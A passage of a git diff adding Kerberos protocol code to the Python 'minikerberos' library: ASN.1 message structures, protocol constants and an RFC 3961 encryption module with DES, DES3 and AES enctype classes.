+		('authtime', KerberosTime , {'tag_type': TAG, 'tag': 4, 'optional': True}),
+		('starttime', KerberosTime , {'tag_type': TAG, 'tag': 5, 'optional': True}),
+		('endtime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}),
+		('renew-till', KerberosTime , {'tag_type': TAG, 'tag': 7, 'optional': True}),
+		('srealm', Realm , {'tag_type': TAG, 'tag': 8, 'optional': True}),
+		('sname', PrincipalName , {'tag_type': TAG, 'tag': 9, 'optional': True}),
+		('caddr', HostAddresses , {'tag_type': TAG, 'tag': 10, 'optional': True}),
+	]
+	
+class SequenceOfKrbCredInfo(core.SequenceOf):
+	_child_spec = KrbCredInfo
+	
+class EncKrbCredPart(core.Sequence):
+	explicit = (APPLICATION, 29)
+	_fields = [
+		('ticket-info', SequenceOfKrbCredInfo, {'tag_type': TAG, 'tag': 0}),
+		('nonce', krb5int32, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('timestamp', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('usec', krb5int32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),
+		('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),
+	]
+
+class KRB_ERROR(core.Sequence):
+	explicit = (APPLICATION, 30)
+	_fields = [
+		('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),
+		('msg-type',krb5int32 , {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE
+		('ctime', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}),
+		('cusec', krb5int32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),
+		('stime', KerberosTime , {'tag_type': TAG, 'tag': 4}),
+		('susec', krb5int32 , {'tag_type': TAG, 'tag': 5}),
+		('error-code', krb5int32 , {'tag_type': TAG, 'tag': 6}),
+		('crealm', Realm , {'tag_type': TAG, 'tag': 7, 'optional': True}),
+		('cname', PrincipalName , {'tag_type': TAG, 'tag': 8, 'optional': True}),
+		('realm', Realm , {'tag_type': TAG, 'tag': 9}),
+		('sname', PrincipalName , {'tag_type': TAG, 'tag': 10}),
+		('e-text', core.GeneralString , {'tag_type': TAG, 'tag': 11, 'optional': True}),
+		('e-data', core.OctetString , {'tag_type': TAG, 'tag': 12, 'optional': True}),
+	]
+
+class ChangePasswdDataMS(core.Sequence):
+	_fields = [
+		('newpasswd', core.OctetString, {'tag_type': TAG, 'tag': 0}),
+		('targname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional': True}),
+		('targrealm', Realm , {'tag_type': TAG, 'tag': 2, 'optional': True}),
+	]
+
+class EtypeList(core.SequenceOf):
+	#-- the client's proposed enctype list in
+	#-- decreasing preference order, favorite choice first
+	_child_spec = ENCTYPE
+
+	
+class KerberosResponse(core.Choice):
+	_alternatives = [
+		('AS_REP', AS_REP, {'implicit': (APPLICATION,11) }  ),
+		('TGS_REP', TGS_REP, {'implicit': (APPLICATION,13) }  ),
+		('KRB_ERROR', KRB_ERROR, {'implicit': (APPLICATION,30) } ),
+	]
+	
+	
+class KRBCRED(core.Sequence):
+	explicit = (APPLICATION, 22)
+	
+	_fields = [
+		('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}),
+		('msg-type', core.Integer, {'tag_type': TAG, 'tag': 1}),
+		('tickets', SequenceOfTicket, {'tag_type': TAG, 'tag': 2}),
+		('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 3}),
+	
+	]
+
+#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a
+#other name: PA-S4U2Self
+class PA_FOR_USER_ENC(core.Sequence): 
+	_fields = [
+		('userName', PrincipalName, {'tag_type': TAG, 'tag': 0}),
+		('userRealm', Realm, {'tag_type': TAG, 'tag': 1}),
+		('cksum', Checksum, {'tag_type': TAG, 'tag': 2}),
+		('auth-package', KerberosString , {'tag_type': TAG, 'tag': 3}),
+	
+	]
+	
+class S4UUserIDOptions(core.BitString):
+	_map = {
+		0x40000000 : 'check-logon-hour', #This option causes the KDC to check logon hour restrictions for the user.
+		0x20000000 : 'signed-with-kun-27', #In a request, asks the KDC to sign the reply with key usage number 27. In a reply, indicates that it was signed with key usage number 27.
+	}
+
+#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6
+class S4UUserID(core.Sequence):
+	_fields = [
+		('nonce', core.Integer, {'tag_type': TAG, 'tag': 0}), #-- the nonce in KDC-REQ-BODY
+		('cname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional' : True}),
+		#-- Certificate mapping hints
+		('crealm', Realm, {'tag_type': TAG, 'tag': 2}),
+		('subject-certificate', core.OctetString, {'tag_type': TAG, 'tag': 3, 'optional' : True}),
+		('options', S4UUserIDOptions, {'tag_type': TAG, 'tag': 4, 'optional' : True}),
+	]
+	
+#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6
+class PA_S4U_X509_USER(core.Sequence):
+	_fields = [
+		('user-id', S4UUserID, {'tag_type': TAG, 'tag': 0}),
+		('checksum', Checksum, {'tag_type': TAG, 'tag': 1}),	
+	]
+
+class AD_IF_RELEVANT(AuthorizationData):
+	pass
+
+
+class GSSAPIOID(core.ObjectIdentifier):
+	_map = {
+		'1.2.840.113554.1.2.2': 'krb5',
+	}
+
+	_reverse_map = {
+		'krb5': '1.2.840.113554.1.2.2',
+	}
+
+
+class GSSAPIToken(core.Asn1Value):
+	class_ = 1
+	tag = 0
+	method = 1
+
diff --git a/minikerberos/protocol/constants.py b/minikerberos/protocol/constants.py
new file mode 100644
index 0000000..01eb6fa
--- /dev/null
+++ b/minikerberos/protocol/constants.py
@@ -0,0 +1,177 @@
+#!/usr/bin/env python3
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#
+
+import enum
+
+class NAME_TYPE(enum.Enum):
+	UNKNOWN = 0     #(0),	-- Name type not known
+	PRINCIPAL = 1     #(1),	-- Just the name of the principal as in
+	SRV_INST = 2     #(2),	-- Service and other unique instance (krbtgt)
+	SRV_HST = 3     #(3),	-- Service with host name as instance
+	SRV_XHST = 4     # (4),	-- Service with host as remaining components
+	UID = 5     # (5),		-- Unique ID
+	X500_PRINCIPAL = 6     #(6), -- PKINIT
+	SMTP_NAME = 7     #(7),	-- Name in form of SMTP email name
+	ENTERPRISE_PRINCIPAL = 10    #(10), -- Windows 2000 UPN
+	WELLKNOWN  = 11    #(11),	-- Wellknown
+	ENT_PRINCIPAL_AND_ID  = -130  #(-130), -- Windows 2000 UPN and SID
+	MS_PRINCIPAL = -128  #(-128), -- NT 4 style name
+	MS_PRINCIPAL_AND_ID = -129  #(-129), -- NT style name and SID
+	NTLM = -1200 #(-1200) -- NTLM name, realm is domain
+
+class MESSAGE_TYPE(enum.Enum):
+	KRB_AS_REQ = 10 
+	KRB_AS_REP = 11 
+	KRB_TGS_REQ = 12 
+	KRB_TGS_REP = 13 
+	KRB_AP_REQ = 14 
+	KRB_AP_REP = 15 
+	KRB_SAFE = 20 
+	KRB_PRIV = 21 
+	KRB_CRED = 22 
+	KRB_ERROR = 30 
+
+class EncryptionType(enum.Enum):
+	NULL = 0#
+	DES_CBC_CRC = 1#
+	DES_CBC_MD4 = 2#
+	DES_CBC_MD5 = 3#
+	DES3_CBC_MD5 = 5#
+	OLD_DES3_CBC_SHA1 = 7#
+	SIGN_DSA_GENERATE = 8#
+	ENCRYPT_RSA_PRIV = 9#
+	ENCRYPT_RSA_PUB = 10#
+	DES3_CBC_SHA1 = 16#	-- with key derivation
+	AES128_CTS_HMAC_SHA1_96 = 17#
+	AES256_CTS_HMAC_SHA1_96 = 18#
+	ARCFOUR_HMAC_MD5 = 23#
+	ARCFOUR_HMAC_MD5_56 = 24#
+	ENCTYPE_PK_CROSS = 48#
+	ARCFOUR_MD4 = -128#
+	ARCFOUR_HMAC_OLD = -133#
+	ARCFOUR_HMAC_OLD_EXP = -135#
+	DES_CBC_NONE = -0x1000#
+	DES3_CBC_NONE = -0x1001#
+	DES_CFB64_NONE = -0x1002#
+	DES_PCBC_NONE = -0x1003#
+	DIGEST_MD5_NONE = -0x1004#		-- private use, lukeh@padl.com
+	CRAM_MD5_NONE = -0x1005#		-- private use, lukeh@padl.com
+	
+	
+class PaDataType(enum.Enum):
+	NONE = 0#
+	TGS_REQ = 1#
+	AP_REQ = 1#
+	ENC_TIMESTAMP = 2#
+	PW_SALT = 3#
+	ENC_UNIX_TIME = 5#
+	SANDIA_SECUREID = 6#
+	SESAME = 7#
+	OSF_DCE = 8#
+	CYBERSAFE_SECUREID = 9#
+	AFS3_SALT = 10#
+	ETYPE_INFO = 11#
+	SAM_CHALLENGE = 12# __  = sam/otp)
+	SAM_RESPONSE = 13# __  = sam/otp)
+	PK_AS_REQ_19 = 14# __  = PKINIT_19)
+	PK_AS_REP_19 = 15# __  = PKINIT_19)
+	PK_AS_REQ_WIN = 15# __  = PKINIT _ old number)
+	PK_AS_REQ = 16# __  = PKINIT_25)
+	PK_AS_REP = 17# __  = PKINIT_25)
+	PA_PK_OCSP_RESPONSE = 18#
+	ETYPE_INFO2 = 19#
+	USE_SPECIFIED_KVNO = 20#
+	SVR_REFERRAL_INFO = 20# ___ old ms referral number
+	SAM_REDIRECT = 21# __  = sam/otp)
+	GET_FROM_TYPED_DATA = 22#
+	SAM_ETYPE_INFO = 23#
+	SERVER_REFERRAL = 25#
+	ALT_PRINC = 24#		__  = crawdad@fnal.gov)
+	SAM_CHALLENGE2 = 30#		__  = kenh@pobox.com)
+	SAM_RESPONSE2 = 31#		__  = kenh@pobox.com)
+	PA_EXTRA_TGT = 41#			__ Reserved extra TGT
+	TD_KRB_PRINCIPAL = 102#	__ PrincipalName
+	PK_TD_TRUSTED_CERTIFIERS = 104# __ PKINIT
+	PK_TD_CERTIFICATE_INDEX = 105# __ PKINIT
+	TD_APP_DEFINED_ERROR = 106#	__ application specific
+	TD_REQ_NONCE = 107#		__ INTEGER
+	TD_REQ_SEQ = 108#		__ INTEGER
+	PA_PAC_REQUEST = 128#	__ jbrezak@exchange.microsoft.com
+	FOR_USER = 129#		__ MS_KILE
+	FOR_X509_USER = 130#		__ MS_KILE
+	FOR_CHECK_DUPS = 131#	__ MS_KILE
+	AS_CHECKSUM = 132#		__ MS_KILE
+	PK_AS_09_BINDING = 132#	__ client send this to __ tell KDC that is supports __ the asCheckSum in the __  PK_AS_REP
+	CLIENT_CANONICALIZED = 133#	__ referals
+	FX_COOKIE = 133#		__ krb_wg_preauth_framework
+	AUTHENTICATION_SET = 134#	__ krb_wg_preauth_framework
+	AUTH_SET_SELECTED = 135#	__ krb_wg_preauth_framework
+	FX_FAST = 136#		__ krb_wg_preauth_framework
+	FX_ERROR = 137#		__ krb_wg_preauth_framework
+	ENCRYPTED_CHALLENGE = 138#	__ krb_wg_preauth_framework
+	OTP_CHALLENGE = 141#		__  = gareth.richards@rsa.com)
+	OTP_REQUEST = 142#		__  = gareth.richards@rsa.com)
+	OTP_CONFIRM = 143#		__  = gareth.richards@rsa.com)
+	OTP_PIN_CHANGE = 144#	__  = gareth.richards@rsa.com)
+	EPAK_AS_REQ = 145#
+	EPAK_AS_REP = 146#
+	PKINIT_KX = 147#		__ krb_wg_anon
+	PKU2U_NAME = 148#		__ zhu_pku2u
+	REQ_ENC_PA_REP = 149#	__
+	SPAKE = 151#	__https://datatracker.ietf.org/doc/draft-ietf-kitten-krb-spake-preauth/?include_text=1
+	SUPPORTED_ETYPES = 165 #)	__ MS_KILE
+
+
+# Full list of key_usage numbers: https://tools.ietf.org/html/rfc4120#section-7.5.1
+# 
+class KEY_USAGE(enum.Enum):
+	AS_REQ_PA_ENC_TS = 1
+	KDC_REP_TICKET = 2
+	AS_REP_ENCPART = 3
+	TGS_REQ_AD_SESSKEY = 4
+	TGS_REQ_AD_SUBKEY = 5
+	TGS_REQ_AUTH_CKSUM = 6
+	TGS_REQ_AUTH = 7
+	TGS_REP_ENCPART_SESSKEY = 8
+	TGS_REP_ENCPART_SUBKEY = 9
+	AP_REQ_AUTH_CKSUM = 10
+	AP_REQ_AUTH = 11
+	AP_REP_ENCPART = 12
+	KRB_PRIV_ENCPART = 13
+	KRB_CRED_ENCPART = 14
+	KRB_SAFE_CKSUM = 15
+	APP_DATA_ENCRYPT = 16
+	APP_DATA_CKSUM = 17
+	KRB_ERROR_CKSUM = 18
+	AD_KDCISSUED_CKSUM = 19
+	AD_MTE = 20
+	AD_ITE = 21
+
+	GSS_TOK_MIC = 22
+	GSS_TOK_WRAP_INTEG = 23
+	GSS_TOK_WRAP_PRIV = 24
+
+	PA_SAM_CHALLENGE_CKSUM = 25
+	#PA_SAM_CHALLENGE_TRACKID  26 #/** Note conflict with @ref KRB5_KEYUSAGE_PA_S4U_X509_USER_REQUEST */
+	#PA_SAM_RESPONSE           27 #/** Note conflict with @ref KRB5_KEYUSAGE_PA_S4U_X509_USER_REPLY */
+	
+	PA_S4U_X509_USER_REQUEST = 26 #/* Defined in [MS-SFU] *//** Note conflict with @ref KRB5_KEYUSAGE_PA_SAM_CHALLENGE_TRACKID */
+	PA_S4U_X509_USER_REPLY = 27 #/** Note conflict with @ref KRB5_KEYUSAGE_PA_SAM_RESPONSE */
+
+	AD_SIGNEDPATH = -21
+	IAKERB_FINISHED = 42
+	PA_PKINIT_KX = 44
+	PA_OTP_REQUEST = 45 
+
+	FAST_REQ_CHKSUM = 50
+	FAST_ENC = 51
+	FAST_REP = 52
+	FAST_FINISHED = 53
+	ENC_CHALLENGE_CLIENT = 54
+	ENC_CHALLENGE_KDC = 55
+	AS_REQ = 56
+	CAMMAC = 64
+	SPAKE = 65
\ No newline at end of file
diff --git a/minikerberos/protocol/encryption.py b/minikerberos/protocol/encryption.py
new file mode 100644
index 0000000..8fb7609
--- /dev/null
+++ b/minikerberos/protocol/encryption.py
@@ -0,0 +1,880 @@
+# Copyright (C) 2013 by the Massachusetts Institute of Technology.
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+# * Redistributions of source code must retain the above copyright
+#   notice, this list of conditions and the following disclaimer.
+#
+# * Redistributions in binary form must reproduce the above copyright
+#   notice, this list of conditions and the following disclaimer in
+#   the documentation and/or other materials provided with the
+#   distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+# OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# XXX current status:
+# * Done and tested
+#   - AES encryption, checksum, string2key, prf
+#   - cf2 (needed for FAST)
+# * Still to do:
+#   - DES enctypes and cksumtypes
+#   - RC4 exported enctype (if we need it for anything)
+#   - Unkeyed checksums
+#   - Special RC4, raw DES/DES3 operations for GSSAPI
+# * Difficult or low priority:
+#   - Camellia not supported by PyCrypto
+#   - Cipher state only needed for kcmd suite
+#   - Nonstandard enctypes and cksumtypes like des-hmac-sha1
+# Original code was taken from impacket, ported to python3 by Tamas Jos (@skelsec)
+
+from struct import pack, unpack
+from binascii import unhexlify
+import string
+import random
+import functools
+import os
+
+from math import gcd
+import hmac as HMAC
+import hashlib
+from hashlib import md5 as MD5
+from hashlib import sha1 as SHA
+from minikerberos.crypto.PBKDF2.pbkdf2 import pbkdf2 as PBKDF2
+from minikerberos.crypto.AES import *
+from minikerberos.crypto.DES import DES3, DES_CBC, DES_ECB
+from minikerberos.crypto.RC4 import RC4 as ARC4
+from minikerberos.crypto.DES import DES
+from minikerberos.crypto.hashing import md4
+
+
+def get_random_bytes(lenBytes):
+	# We don't really need super strong randomness here to use PyCrypto.Random
+	return os.urandom(lenBytes)
+
+
+class Enctype(object):
+	DES_CRC = 1
+	DES_MD4 = 2
+	DES_MD5 = 3
+	DES3 = 16
+	AES128 = 17
+	AES256 = 18
+	RC4 = 23
+
+
+class Cksumtype(object):
+	CRC32 = 1
+	MD4 = 2
+	MD4_DES = 3
+	MD5 = 7
+	MD5_DES = 8
+	SHA1 = 9
+	SHA1_DES3 = 12
+	SHA1_AES128 = 15
+	SHA1_AES256 = 16
+	HMAC_MD5 = -138
+
+
+class InvalidChecksum(ValueError):
+	pass
+
+
+def _zeropad(s, padsize):
+	# Return s padded with 0 bytes to a multiple of padsize.
+	padlen = (padsize - (len(s) % padsize)) % padsize
+	return s + b'\x00'*padlen
+
+
+def _xorbytes(b1, b2):
+	# xor two strings together and return the resulting string.
+	assert len(b1) == len(b2)
+	t1 = int.from_bytes(b1, byteorder = 'big', signed = False)
+	t2 = int.from_bytes(b2, byteorder = 'big', signed = False)
+	return (t1 ^ t2).to_bytes(len(b1), byteorder = 'big', signed = False)
+
+
+def _mac_equal(mac1, mac2):
+	# Constant-time comparison function.  (We can't use HMAC.verify
+	# since we use truncated macs.)
+	assert len(mac1) == len(mac2)
+	res = 0
+	for x, y in zip(mac1, mac2):
+		res |= x ^ y
+	return res == 0
+
+
+def _nfold(str, nbytes):
+	# Convert str to a string of length nbytes using the RFC 3961 nfold
+	# operation.
+
+	# Rotate the bytes in str to the right by nbits bits.
+	def rotate_right(str, nbits):
+		num = int.from_bytes(str, byteorder ='big', signed = False)
+		size = len(str)*8
+		nbits %= size
+		body = num >> nbits
+		remains = (num << (size - nbits)) - (body << size)
+		return (body + remains).to_bytes(len(str), byteorder ='big', signed = False)
+
+		
+
+	# Add equal-length strings together with end-around carry.
+	def add_ones_complement(str1, str2):
+		n = len(str1)
+		v = []
+		for i in range(0,len(str1), 1):
+			t = str1[i] + str2[i]
+			v.append(t)
+		
+		#v = [ord(a) + ord(b) for a, b in zip(str1, str2)]
+		# Propagate carry bits to the left until there aren't any left.
+		while any(x & ~0xff for x in v):
+			v = [(v[i-n+1]>>8) + (v[i]&0xff) for i in range(n)]
+		return b''.join(x.to_bytes(1, byteorder = 'big', signed = False) for x in v)
+
+	# Concatenate copies of str to produce the least common multiple
+	# of len(str) and nbytes, rotating each copy of str to the right
+	# by 13 bits times its list position.  Decompose the concatenation
+	# into slices of length nbytes, and add them together as
+	# big-endian ones' complement integers.
+	slen = len(str)
+	lcm = int(nbytes * slen / gcd(nbytes, slen))
+	bigstr = b''.join((rotate_right(str, 13 * i) for i in range(int(lcm / slen))))
+	slices = (bigstr[p:p+nbytes] for p in range(0, lcm, nbytes))
+	
+	return functools.reduce(add_ones_complement,  slices)
+
+
+def _is_weak_des_key(keybytes):
+	return keybytes in (b'\x01\x01\x01\x01\x01\x01\x01\x01',
+						b'\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE',
+						b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
+						b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
+						b'\x01\xFE\x01\xFE\x01\xFE\x01\xFE',
+						b'\xFE\x01\xFE\x01\xFE\x01\xFE\x01',
+						b'\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1',
+						b'\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E',
+						b'\x01\xE0\x01\xE0\x01\xF1\x01\xF1',
+						b'\xE0\x01\xE0\x01\xF1\x01\xF1\x01',
+						b'\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE',
+						b'\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E',
+						b'\x01\x1F\x01\x1F\x01\x0E\x01\x0E',
+						b'\x1F\x01\x1F\x01\x0E\x01\x0E\x01',
+						b'\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE',
+						b'\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1')
+
+
+class _EnctypeProfile(object):
+	# Base class for enctype profiles.  Usable enctype classes must define:
+	#   * enctype: enctype number
+	#   * keysize: protocol size of key in bytes
+	#   * seedsize: random_to_key input size in bytes
+	#   * random_to_key (if the keyspace is not dense)
+	#   * string_to_key
+	#   * encrypt
+	#   * decrypt
+	#   * prf
+
+	@classmethod
+	def random_to_key(cls, seed):
+		if len(seed) != cls.seedsize:
+			raise ValueError('Wrong seed length')
+		return Key(cls.enctype, seed)
+
+
+class _SimplifiedEnctype(_EnctypeProfile):
+	# Base class for enctypes using the RFC 3961 simplified profile.
+	# Defines the encrypt, decrypt, and prf methods.  Subclasses must
+	# define:
+	#   * blocksize: Underlying cipher block size in bytes
+	#   * padsize: Underlying cipher padding multiple (1 or blocksize)
+	#   * macsize: Size of integrity MAC in bytes
+	#   * hashmod: PyCrypto hash module for underlying hash function
+	#   * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher
+
+	@classmethod
+	def derive(cls, key, constant):
+		# RFC 3961 only says to n-fold the constant only if it is
+		# shorter than the cipher block size.  But all Unix
+		# implementations n-fold constants if their length is larger
+		# than the block size as well, and n-folding when the length
+		# is equal to the block size is a no-op.
+		plaintext = _nfold(constant, cls.blocksize)
+		rndseed = b''
+		while len(rndseed) < cls.seedsize:
+			ciphertext = cls.basic_encrypt(key, plaintext)
+			rndseed += ciphertext
+			plaintext = ciphertext
+		return cls.random_to_key(rndseed[0:cls.seedsize])
+
+	@classmethod
+	def encrypt(cls, key, keyusage, plaintext, confounder):
+		ki = cls.derive(key, pack('>IB', keyusage, 0x55))
+		ke = cls.derive(key, pack('>IB', keyusage, 0xAA))
+		if confounder is None:
+			confounder = get_random_bytes(cls.blocksize)
+		basic_plaintext = confounder + _zeropad(plaintext, cls.padsize)
+		hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()
+		return cls.basic_encrypt(ke, basic_plaintext) + hmac[:cls.macsize]
+
+	@classmethod
+	def decrypt(cls, key, keyusage, ciphertext):
+		ki = cls.derive(key, pack('>IB', keyusage, 0x55))
+		ke = cls.derive(key, pack('>IB', keyusage, 0xAA))
+		if len(ciphertext) < cls.blocksize + cls.macsize:
+			raise ValueError('ciphertext too short')
+		basic_ctext, mac = ciphertext[:-cls.macsize], ciphertext[-cls.macsize:]
+		if len(basic_ctext) % cls.padsize != 0:
+			raise ValueError('ciphertext does not meet padding requirement')
+		basic_plaintext = cls.basic_decrypt(ke, basic_ctext)
+		hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()
+		expmac = hmac[:cls.macsize]
+		if not _mac_equal(mac, expmac):
+			raise InvalidChecksum('ciphertext integrity failure')
+		# Discard the confounder.
+		return basic_plaintext[cls.blocksize:]
+
+	@classmethod
+	def prf(cls, key, string):
+		# Hash the input.  RFC 3961 says to truncate to the padding
+		# size, but implementations truncate to the block size.
+		hashval = cls.hashmod(string).digest()
+		truncated = hashval[:-(len(hashval) % cls.blocksize)]
+		# Encrypt the hash with a derived key.
+		kp = cls.derive(key, b'prf')
+		return cls.basic_encrypt(kp, truncated)
+
+class _DESCBC(_SimplifiedEnctype):
+	enctype = Enctype.DES_MD5
+	keysize = 8
+	seedsize = 8
+	blocksize = 8
+	padsize = 8
+	macsize = 16
+	hashmod = MD5
+
+	@classmethod
+	def encrypt(cls, key, keyusage, plaintext, confounder):
+		if confounder is None:
+			confounder = get_random_bytes(cls.blocksize)
+		basic_plaintext = confounder + '\x00'*cls.macsize + _zeropad(plaintext, cls.padsize)
+		checksum = cls.hashmod.new(basic_plaintext).digest()
+		basic_plaintext = basic_plaintext[:len(confounder)] + checksum + basic_plaintext[len(confounder)+len(checksum):]
+		return cls.basic_encrypt(key, basic_plaintext)
+		
+		
+	@classmethod
+	def decrypt(cls, key, keyusage, ciphertext):
+		if len(ciphertext) < cls.blocksize + cls.macsize:
+			raise ValueError('ciphertext too short')
+		
+		complex_plaintext = cls.basic_decrypt(key, ciphertext)
+		cofounder = complex_plaintext[:cls.padsize]
+		mac = complex_plaintext[cls.padsize:cls.padsize+cls.macsize]
+		message = complex_plaintext[cls.padsize+cls.macsize:]
+		
+		expmac = cls.hashmod.new(cofounder+'\x00'*cls.macsize+message).digest()
+		if not _mac_equal(mac, expmac):
+			raise InvalidChecksum('ciphertext integrity failure')
+		return message
+	
+	@classmethod
+	def mit_des_string_to_key(cls,string,salt):
+	
+		def fixparity(deskey):
+			temp = b''
+			for byte in deskey:
+				t = (bin(byte)[2:]).rjust(8,'0')
+				if t[:7].count('1') %2 == 0:
+					temp+= int(t[:7]+'1',2).to_bytes(1, byteorder = 'big', signed = False)
+				else:
+					temp+= int(t[:7]+'0',2).to_bytes(1, byteorder = 'big', signed = False)
+			return temp
+	
+		def addparity(l1):
+			temp = list()
+			for byte in l1:
+				if (bin(byte).count('1') % 2) == 0:
+					byte = (byte << 1)|0b00000001
+				else:
+					byte = (byte << 1)&0b11111110
+				temp.append(byte)
+			return temp
+		
+		def XOR(l1,l2):
+			temp = list()
+			for b1,b2 in zip(l1,l2):
+				temp.append((b1^b2)&0b01111111)
+			
+			return temp
+		
+		odd = True
+		s = string + salt
+		tempstring = [0,0,0,0,0,0,0,0]
+		s = s + b'\x00'*( 8- (len(s)%8)) #pad(s); /* with nulls to 8 byte boundary */
+		
+		for block in [s[i:i+8] for i in range(0, len(s), 8)]:
+			temp56 = list()
+			#removeMSBits
+			for byte in block:
+				temp56.append(byte&0b01111111)
+			
+			#reverse
+			if odd == False:
+				bintemp = ''
+				for byte in temp56:
+					bintemp += (bin(byte)[2:]).rjust(7,'0')
+				bintemp = bintemp[::-1]
+				
+				temp56 = list()
+				for bits7 in [bintemp[i:i+7] for i in range(0, len(bintemp), 7)]:
+					temp56.append(int(bits7,2))
+
+			odd = not odd
+				
+			tempstring = XOR(tempstring,temp56)
+		
+		tempkey = b''.join(byte.to_bytes(1, byteorder = 'big', signed = False) for byte in addparity(tempstring))
+		if _is_weak_des_key(tempkey):
+			tempkey[7] = (tempkey[7] ^ 0xF0).to_bytes(1, byteorder = 'big', signed = False)
+		
+		cipher = DES(tempkey, DES_CBC, tempkey)
+		chekcsumkey = cipher.encrypt(s)[-8:]
+		chekcsumkey = fixparity(chekcsumkey)
+		if _is_weak_des_key(chekcsumkey):
+			chekcsumkey[7] = chr(ord(chekcsumkey[7]) ^ 0xF0)
+		
+		return Key(cls.enctype, chekcsumkey)
+
+	@classmethod
+	def basic_encrypt(cls, key, plaintext):
+		assert len(plaintext) % 8 == 0
+		des = DES(key.contents, DES_CBC, b'\x00' * 8)
+		return des.encrypt(plaintext)
+
+	@classmethod
+	def basic_decrypt(cls, key, ciphertext):
+		assert len(ciphertext) % 8 == 0
+		des = DES(key.contents, DES_CBC, b'\x00' * 8)
+		return des.decrypt(ciphertext)		
+	
+	@classmethod
+	def string_to_key(cls, string, salt, params):
+		if params is not None and params != '':
+			raise ValueError('Invalid DES string-to-key parameters')
+		key = cls.mit_des_string_to_key(string, salt)
+		return key
+	
+	
+
+class _DES3CBC(_SimplifiedEnctype):
+	enctype = Enctype.DES3
+	keysize = 24
+	seedsize = 21
+	blocksize = 8
+	padsize = 8
+	macsize = 20
+	hashmod = SHA
+
+	@classmethod
+	def random_to_key(cls, seed):
+		# XXX Maybe reframe as _DESEnctype.random_to_key and use that
+		# way from DES3 random-to-key when DES is implemented, since
+		# MIT does this instead of the RFC 3961 random-to-key.
+		def expand(seed):
+			def parity(b):
+				# Return b with the low-order bit set to yield odd parity.
+				b &= ~1
+				return b if bin(b & ~1).count('1') % 2 else b | 1
+			assert len(seed) == 7
+			firstbytes = [parity(b & ~1) for b in seed]
+			lastbyte = parity(sum((seed[i]&1) << i+1 for i in range(7)))
+			keybytes = b''.join(b.to_bytes(1, byteorder = 'big', signed = False) for b in firstbytes + [lastbyte])
+			if _is_weak_des_key(keybytes):
+				keybytes[7] = (keybytes[7] ^ 0xF0).to_bytes(1, byteorder = 'big', signed = False)
+			return keybytes
+		
+		if len(seed) != 21:
+			raise ValueError('Wrong seed length')
+		k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:])
+		return Key(cls.enctype, k1 + k2 + k3)
+
+	@classmethod
+	def string_to_key(cls, string, salt, params):
+		if params is not None and params != '':
+			raise ValueError('Invalid DES3 string-to-key parameters')
+		k = cls.random_to_key(_nfold(string + salt, 21))
+		return cls.derive(k, 'kerberos'.encode())
+
+	@classmethod
+	def basic_encrypt(cls, key, plaintext):
+		assert len(plaintext) % 8 == 0
+		des3 = DES3(key.contents, DES_CBC, IV = b'\x00' * 8)
+		return des3.encrypt(plaintext)
+
+	@classmethod
+	def basic_decrypt(cls, key, ciphertext):
+		assert len(ciphertext) % 8 == 0
+		des3 = DES3(key.contents, DES_CBC, IV = b'\x00' * 8)
+		return des3.decrypt(ciphertext)
+
+
+class _AESEnctype(_SimplifiedEnctype):
+	# Base class for aes128-cts and aes256-cts.
+	blocksize = 16
+	padsize = 1
+	macsize = 12
+	hashmod = SHA
+
+	@classmethod
+	def string_to_key(cls, string, salt, params):
